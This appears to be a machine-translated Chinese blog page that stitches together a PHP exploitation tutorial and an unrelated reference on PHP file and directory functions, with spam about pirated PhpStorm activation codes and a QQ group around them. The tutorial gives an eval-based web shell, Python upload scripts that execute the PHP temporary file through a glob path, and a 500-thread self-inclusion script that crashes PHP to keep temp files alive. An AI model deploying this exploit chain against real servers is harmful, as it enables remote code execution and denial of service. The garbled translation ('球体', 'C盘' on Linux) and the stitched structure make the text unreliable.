学习与交流:
phpstorm2023版正式版激活码,支持版本升级 https://web.52shizhan.cn/activity/xqt8ly 向 PHP 发送一个 Post 数据包,如果数据包包含文件,PHP 会将该文件保存为临时文件,而不管 PHP 代码是否有处理文件上传的逻辑
当文件包含
漏洞,找不到可以使用的文件,可以使用此方法查找临时文件名,然后包含它!
如何获取临时文件名
1、$_FILES
文件信息可以通过 $_FILES 获得
Array
(
[name] => run.sh
[full_path] => run.sh
[type] =>
[tmp_name] => /tmp/phpoFnbQf
[error] => 0
[size] => 10
)2、phpinfo
phpinfo 页面
将复制当前请求上下文中的所有变量,如果我们直接将包含该文件的 post 请求发送到 phpinfo 页面php 文件名,我们可以在返回包中找到 $_FILES 变量的内容,从而收到一个临时文件名
3、球体
如果以上都不起作用,在 Linux 中,您也可以通过 glob 键找到文件
glob 使用简单:
如何使用该文件
1. 组合诉状
虽然文件是
请求结束后手动删除,我们可以将执行 shell 和上传文件合并在一个请求中,PHP 代码如下: (这个 PHP 可以直接执行 shell,但这个例子只是为了展示如何使用临时文件)。
# a.php
<?php
$code = $_GET['code'];
eval($code);
?>借助 Python 脚本
# run.sh 文件内容:
# echo $PATH
import requests
# 上传文件同时,执行 shell
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin2. 扩展临时文件的存在
在某些情况下,很难将上传文件和执行 shell 结合起来,通过在其他地方使用它来使文件持续更长时间!
你可以通过文件包含让 PHP 包含自身并造成无限循环,之后 PHP 守护进程会因为内存溢出而崩溃,而 PHP 本身也不会因为错误直接退出,它会清空自己的内存栈,便于从错误中恢复,保证了 Web 服务的正常运行。
同时,这个过程也会中断 PHP 对临时文件的处理,虽然最终还是会被删除,但可以明显看出临时文件在 C 盘中存在的时间比以前更长!
基于此,我们可以编译并发脚本以不断发起请求以发布文件
import requests
from threading import Thread
def test():
url = "http://localhost:8080/include.php?file=include.php"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
lst = []
for _ in range(500):
t = Thread(target=test)
lst.append(t)
t.start()
for item in lst:
item.join()可以看出,当我们在诉求时,C盘中总有临时文件没有被删除。直到请求停止,文件全部被删除
同时,可以使用上述 glob 路径值泛型将临时文件加载到其他地方
import requests
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.get(url)
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin参考链接:
这就是这一分钟的全部内容,我希望你们程序员能够努力提高你的个人技能。最后,小编温馨提示:每晚读5分钟php 文件名,每晚学一点,每晚进步一点。
欢迎技术交流的同仁加盟
PHP自学交流中心QQ群:153404408
------------------------------
以下文本:
PHP 文件夹操作函数字符串
库名称(字符串路径[,字符串后缀])
给定一个包含文件完整路径的字符串,此函数返回基文件名。如果文件名以后缀结尾,则此部分也将被删除。
在 Windows 中,斜杠 (/) 和反斜杠 () 都可以用作目录分隔符。在其他上下文中,它是一个斜杠 (/)。
Stringdirname(stringpath)
给定一个包含文件完整路径的字符串,此函数返回目录名称减去文件名。
在 Windows 中,斜杠 (/) 和反斜杠 () 都可以用作目录分隔符。在其他上下文中,它是一个斜杠 (/)。
arraypathinfo(stringpath[,intoptions])
pathinfo() 返回一个包含路径信息的联合字段。包括以下链表单元:目录名称、基名称和扩展名。
您可以通过选项参数指定要返回的单元格。它们包括:PATHINFO_DIRNAME、PATHINFO_BASENAME和PATHINFO_EXTENSION。默认值是返回所有单位。
StringRealpath(stringpath)
realpath() 扩展了所有符号连接,并在输入路径 /' 和额外的 '/' 中处理 '/./','/.' 和额外的 '/' 并返回规范化的绝对路径名。返回的路径中没有符号连接,“/./”或“/.”。/'成分。
Realpath() 如果失败,例如,如果文件不存在,则返回 FALSE。在 BSD 系统上,如果 path 不存在,PHP 不会像其他系统那样返回 FALSE。
boolis_dir(字符串文件名)
如果文件名存在且为目录,则返回 TRUE。如果文件名是相对路径,则会针对当前工作目录检测其相对路径。
注意:将缓存此函数的结果。有关更多信息,请参阅 clearstatcache()。
resourceopendir(stringpath[,resourcecontext])
打开一个目录句柄,该句柄可以在将来的 closedir()、readdir() 和 rewinddir() 调用中使用。
Stringreaddir(resourcedir_handle)
返回文件
目录中下一个文件的名称。文件名在文件系统中按顺序返回。
虚空闭合IR(resourcedir_handle)
关闭dir_handle指定的目录流。该流必须以前由 opendir() 打开。
虚空倒带(resourcedir_handle)
将dir_handle指定的目录流重置为目录的开头。
arrayglob(stringpattern[,intflags])
glob() 函数根据 libcglob() 函数使用的规则查找与模式匹配的所有文件路径,类似于普通 shell 使用的规则。没有速记增强或参数替换。
返回包含匹配文件/目录的链接列表。如果发生错误,则返回 FALSE。
有效标签包括:
GLOB_MARK - 为每个返回的项目添加一个斜杠
GLOB_NOSORT - 根据文件在目录中出现的原始顺序返回(未排序)
GLOB_NOCHECK - 如果没有匹配的文件,则返回用于搜索的模式
GLOB_NOESCAPE - 反斜杠不使用通配符元字符
GLOB_BRACE - 扩展 {a,b,c
} 匹配“a”、“b”或“c”
GLOB_ONLYDIR - 仅返回与模式匹配的目录项
注意:在PHP版本4.3.3之前GLOB_ONLYDIR它在Windows或其他不使用GNUC库的系统上不可用。
GLOB_ERR - 停止并读取错误消息(例如不可读的目录),默认情况下忽略所有错误
注意:GLOB_ERR是在 PHP 5.1 中添加的。
PHP 文件目录操作
创建新文件
1. 首先确定要写入文件的内容
$content=“你好”;
2. 打开此文件
(系统将手动构建此空文件)。
假设新文件称为 file.txt 并且位于父目录中。 w 表示“写入文件”,$fp下面使用,它表示指向一个打开的文件。
$fp=fopen('.. /file.txt','w');
3. 将内容字符串写入文件
$fp告诉系统写入文件,要写入的内容$content
fwrite($fp,$content);
4. 关闭文件
关闭($fp);
注意:PHP5 提供了更方便的函数file_put_contentsphp 文件名,4 个步骤可以这样完成:
$content=“你好”;
file_put_contents(“文件.txt”,$content);
删除文件
删除当前目录下 arch 目录中的文件 abc .txt
unlink('arch/abc.txt');
注意:系统会返回操作结果,成功会返回TRUE,失败会返回FALSE,可以使用变量接收,知道是否删除成功:
$deleteResult=unlink('arch/abc.txt');
获取文件内容
假设获取的目标文件名为 file.txt 并且位于父目录中。获取的内容将加载到$content中。
$content=file_get_contents('.. /file.txt');
更改文件内容
操作与创建新内容基本相同
重命名文件或目录
将当前目录中子目录 A 下的文件 1 .gif重命名为 2.gif。
rename('/a/1.gif','/a/2.gif');
说明:这同样适用于目录。系统会返回操作结果,成功会返回 TRUE,失败会返回 FALSE,可以使用变量来接收,就知道重命名是否成功。
$renameResult=rename('/a/1.gif','/a/2.gif');
如果要连接文件或目录,只需将重命名的路径设置为新路径:
连接当前目录中子目录 A 下的文件 1
A 到当前目录 B 中的子目录 B .gif,但将其重命名为 2.gif。
rename('/a/1.gif','/b/2.gif');
但是,应该注意的是php 文件名,如果目录 b 不存在,则连接将失败。
复制文件
将当前目录中子目录 A 下的文件 1 复制到.gif
当前目录中的子目录 B,并将其命名为 2.gif。
copy('/a/1.gif','/b/1.gif');
说明:无法对目录执行此操作。
如果目标文件(前面的 /b/1.gif)已存在,则将覆盖原始文件。
系统返回操作结果,如果成功则返回 TRUE,如果失败则返回 FALSE,并且可以与变量一起接收以了解复制是否成功。
$copyResult=copy('/a/1.gif','/b/1.gif');
连接文件或目录
它的工作方式与重命名相同
文件或目录是否存在
检测父目录中是否存在文件徽标.jpg。
$existResult=file_exists('.. /logo.jpg');
注意:如果文件存在,系统将返回 true,否则返回 false。您可以对目录执行相同的操作。
获取文件大小
获取父目录中的文件徽标.png的大小。
$size=文件大小('.. /logo.png');
注意:系统返回一个数字,指示文件大小的字节数。
创建新目录在
当前目录中的目录 A 下创建新目录 B。
mkdir('/a/b');
注意:系统会返回操作结果,成功会返回TRUE,失败会返回FALSE,可以使用变量接收,知道新的成功是否成功:
$mkResult=mkdir('/a/b');
删除目录
删除当前目录中目录 A 下的子目录 b。
rmdir('/a/b');
注意:只能删除非空目录,否则必须先删除该目录下的子目录和文件,然后再删除常规目录
系统会返回操作的结果,成功则返回 TRUE,失败则返回 FALSE,可以用变量接收,就知道删除是否成功:
$deleteResult=rmdir('/a/b');
获取目录中的所有文件名
1. 首先打开要操作的目录,用变量指向它
打开当前目录 pic 子目录 common 下的目录。
$handler=opendir('pic/common');
2. 遍历目录中的所有文件
/* 其中 $filename=readdir($handler) 是参数化读取文件名以$filename每个循环,以免陷入无限循环,所以让 $filename!==false。一定要使用 !==,因为如果文件名被称为“0”,或者如果它单独被认为表示 false,使用 != 将停止循环 */
while(($filename=readdir($handler))!==false){
3. 目录中将有两个文件,分别名为“.”和“.”。不要对他们这样做
if($filename!=“.” &&$filename!=“..”){
4. 处理
这是输出文件名的简单回显
回显$文件名;
5. 关闭目录
封闭式($handler);
对象是否为目录
检测父目录中的目标对象徽标.jpg是否为目录。
$checkResult=is_dir('.. /logo.jpg');
注意:如果目标对象是目录系统,则系统返回 true,否则返回 false。反例的$checkResult实际上是错误的。
对象是否为文件
检测父目录中的目标对象徽标.jpg是否为文件。
$checkResult=is_file('.. /logo.jpg');
注意:如果目标对象是文件,则系统返回 true,否则返回 false。反例的$checkResult实际上是正确的。小
编又推出陌陌公众号“求职笔试助手”,为您提供笔试方法、笔试常见问题、笔试心得体会等,与大家分享,小伙伴可长按识别二维码关注